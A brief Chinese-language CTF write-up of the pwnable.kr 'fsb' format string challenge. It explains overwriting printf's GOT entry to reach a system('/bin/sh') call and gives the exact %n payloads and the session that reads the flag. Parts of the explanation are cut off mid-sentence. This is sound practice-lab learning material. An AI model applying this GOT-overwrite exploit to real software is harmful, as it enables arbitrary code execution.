真的是学到许多的一道题目

https://blog.csdn.net/wxh0000mm/article/details/91040880

写的挺好的

一道格式化溢出题目，思路很清晰，覆盖printf的got表为0x80486AB（即执行system('/bin/sh')）

但要覆盖printf的got，需要把printf的got首先写到栈上才行（格式化溢出漏洞的需要）

首先来一个%134520836c%14n，$134520836 = 0x804A004$即$printf$的got表地址放到了第十四个偏移（gdb调试时会发现，第十四个参数其实是fsb第一个参数的指针）fsb第一个参

n，134514347=0x80486AB，就是写入了shell

但是在写入这些之前，首先需要重定向：

./fsb >/dev/null 2>&1

因为这个格式化的长度太大了，容易让机子卡死。所以我们讲输出重定向到/dev/null上

详情可以看以下链接

https://www.cnblogs.com/zhenghongxin/p/7029173.html

```
fsb@pwnable:~$ ./fsb >/dev/null 2>&1
%134520836c%14$n
%134514347c%20$n
cat flag >/tmp/flag
exit
fsb@pwnable:~$ cat /tmp/flag
Have you ever saw an example of utilizing [n] format character?? :(
```